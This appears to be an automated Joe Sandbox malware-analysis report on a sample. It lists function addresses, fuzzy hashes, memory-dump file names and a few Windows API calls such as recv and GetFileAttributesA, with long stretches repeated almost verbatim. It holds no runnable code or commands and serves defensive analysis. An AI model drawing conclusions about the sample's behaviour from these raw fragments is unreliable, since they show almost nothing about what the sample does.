Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e341b31fd10b9744cc53d5eefdf6d86aab92b13a8e5f3eda7ccac29aacc22b05
Instruction ID: 7fee9207f20ef8177d7d102c79a21f9cdea7fd5b89eeb1e2d4f775cd394bec3d
Opcode Fuzzy Hash: e341b31fd10b9744cc53d5eefdf6d86aab92b13a8e5f3eda7ccac29aacc22b05
Instruction Fuzzy Hash: 16C08C2802160005EF1C053C84B48AC370989477FC7F41F84E8708B1F1CE396847B210

Function 00F487B0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,00F4DA1D,?,?,?,?), ref: 00F487B9

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: af6258058d684c229642bdfbbe68e3636bd2b3d6b255020123dc438cbb66b393
Instruction ID: 9cebdbfadad6f51beed20f934c9c64c28095b1d3a8b72d702a79e36cf303d8a1
Opcode Fuzzy Hash: af6258058d684c229642bdfbbe68e3636bd2b3d6b255020123dc438cbb66b393
Instruction Fuzzy Hash: 53C08C3802120046EB1C4A3C84B482C3A099A037FC3F00F88E8318B1F1CF36D443F6A0

Function 00F4B1A0 Relevance: 1.5, APIs: 1, Instructions: 244COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F4B3C8

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: ae070557a1dce33076e648c57c333855714275f54ca9c3bdb7ee9bc7eab4b422
Instruction ID: c63669991cbd1c93550789086c7917949b3cffe7d15bc11ad6a615fceeba9e2b
Opcode Fuzzy Hash: ae070557a1dce33076e648c57c333855714275f54ca9c3bdb7ee9bc7eab4b422
Instruction Fuzzy Hash: CCB11870A10268DFEB29CF14CC94BDEBBB5EF15304F5045D8E80967281D775AA89CF91

Function 04880BC6 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163389717.0000000004880000.00000040.00001000.00020000.00000000.sdmp, Offset: 04880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4880000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f491b6d3249b5bf14635be73f3f5a52440e1df4f43a1a3338551fb0e56d2a114
Instruction ID: cbb0cbc240bfc6363a59fa26b6865a8b0bce085d9262c697f7335b4a1096bd07
Opcode Fuzzy Hash: f491b6d3249b5bf14635be73f3f5a52440e1df4f43a1a3338551fb0e56d2a114
Instruction Fuzzy Hash: 0E21B3FB24D129BDB211A5952F149FB6B6DE5D37343328F2FF842C6002E2946A4D6132

Function 04880C71 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163389717.0000000004880000.00000040.00001000.00020000.00000000.sdmp, Offset: 04880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4880000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31e1838c805122f9483f429e4829863c2e987c7ec90f2a1396aa47fff8c9dd2e
Instruction ID: 0c85c24dbd3ac7cb452a201ddc22b3f229bcab8178741ecc6ecceb4fab1bc630
Opcode Fuzzy Hash: 31e1838c805122f9483f429e4829863c2e987c7ec90f2a1396aa47fff8c9dd2e
Instruction Fuzzy Hash: 681106FB24D118ADB151B5892F14AFA676DE6D37343324F2FF843C1402E2C92A4D6132

Function 04880C8E Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163389717.0000000004880000.00000040.00001000.00020000.00000000.sdmp, Offset: 04880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4880000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4d3618dffdadcd6e55ffbbaca17200e7360f7869ca1523f64a8f2c7b200bbe2
Instruction ID: 60797090c2377f8028d8acb0515fc7d26c47af1feb002fb10897b1677e336b19
Opcode Fuzzy Hash: f4d3618dffdadcd6e55ffbbaca17200e7360f7869ca1523f64a8f2c7b200bbe2
Instruction Fuzzy Hash: 98117AFB24D018ADB151B9956B54AF62B6EE6E33383334F2FF443C1502B284398E6132

Function 04880C5C Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163389717.0000000004880000.00000040.00001000.00020000.00000000.sdmp, Offset: 04880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4880000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c0df5a753b16485c332354394debab2f85f636146782f0c13e9c505dfb427b6
Instruction ID: 0ae8b7efc0a6e6da400561fe788c27eae403afe6a2daeaacc8a58b55134f2452
Opcode Fuzzy Hash: 3c0df5a753b16485c332354394debab2f85f636146782f0c13e9c505dfb427b6
Instruction Fuzzy Hash: 770129FB24D118ADB150B5852B18AF66A6DE6E37343334F2FF843C1502B284694D2172

Function 04880CA8 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163389717.0000000004880000.00000040.00001000.00020000.00000000.sdmp, Offset: 04880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4880000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e6d0762ae304b3bd3f1ce38436ff81d17d0c4c505625fee4c0544309ad2e3b2
Instruction ID: 556feb511e223f0884ac1c9c07ff234b41fe0dff346967071273ecbde1cf8b1a
Opcode Fuzzy Hash: 2e6d0762ae304b3bd3f1ce38436ff81d17d0c4c505625fee4c0544309ad2e3b2
Instruction Fuzzy Hash: 37012BF724D019ADB251F5982F50AFE6758EAE33347324F2EF446C7102D249765E2172

Function 04880CC4 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163389717.0000000004880000.00000040.00001000.00020000.00000000.sdmp, Offset: 04880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4880000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28095c578cf2eee5fec420754f27cc7047577e4f36c36e4851fea349c0bd728a
Instruction ID: 552381101ce8ed2eb2e481d8fac64c50d896920a02238c8a12a1dc8008b5b269
Opcode Fuzzy Hash: 28095c578cf2eee5fec420754f27cc7047577e4f36c36e4851fea349c0bd728a
Instruction Fuzzy Hash: 010184B720D155ADB250A5953A50ABA6768D6D37347328F2EF482C2002E284655D6132

Function 04880D09 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163389717.0000000004880000.00000040.00001000.00020000.00000000.sdmp, Offset: 04880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4880000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef09b45349ae3b4ee2bc84a34aa16633249b675c325b90f3cc1f1646bb80c745
Instruction ID: ceb712a41498fbcd24b7fa99cbc4b82cbd459b7e22ea77391f62941a0a4a2dbf
Opcode Fuzzy Hash: ef09b45349ae3b4ee2bc84a34aa16633249b675c325b90f3cc1f1646bb80c745
Instruction Fuzzy Hash: 36F05CB720C1088DE760F1C53B40B3A36909AC76387734F2FF486C7000D215755D7522

Function 04880D11 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163389717.0000000004880000.00000040.00001000.00020000.00000000.sdmp, Offset: 04880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4880000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 885a6286ea17d013ab847b70b1c6fdf1cc869b88505e0377abc025ed03e5a781
Instruction ID: 09e77ae4f650d9ef70c87e1b0ebed0835a1c2672a105707a0b8fe5c5cdf32dff
Opcode Fuzzy Hash: 885a6286ea17d013ab847b70b1c6fdf1cc869b88505e0377abc025ed03e5a781
Instruction Fuzzy Hash: 28F027772181099DEA90B6852A4063A27509A9723C3324F1FE481C3002D214746D6622

Non-executed Functions

Function 00F831A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00F83323

Strings

1#IND, xrefs: 00F844B3
1#SNAN, xrefs: 00F844BA
1#INF, xrefs: 00F844DE
1#QNAN, xrefs: 00F844C1

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: a0bf63fefdc59223b2cf3476f646fc85e00eeb532294bef361edc9cc4dac57bc
Instruction ID: a5773ba8d79a45effd26d09768e960c05c4b802a850635d13618c59e38b979a4
Opcode Fuzzy Hash: a0bf63fefdc59223b2cf3476f646fc85e00eeb532294bef361edc9cc4dac57bc
Instruction Fuzzy Hash: 5BC25D72E086298FDF25EE28DD407EAB3B5EB44714F1441EAD84DE7250E778AE819F40

Function 00F4E0C0 Relevance: 4.6, APIs: 3, Instructions: 102networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000004,00000000), ref: 00F4E10B
recv.WS2_32(?,?,00000008,00000000), ref: 00F4E140

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
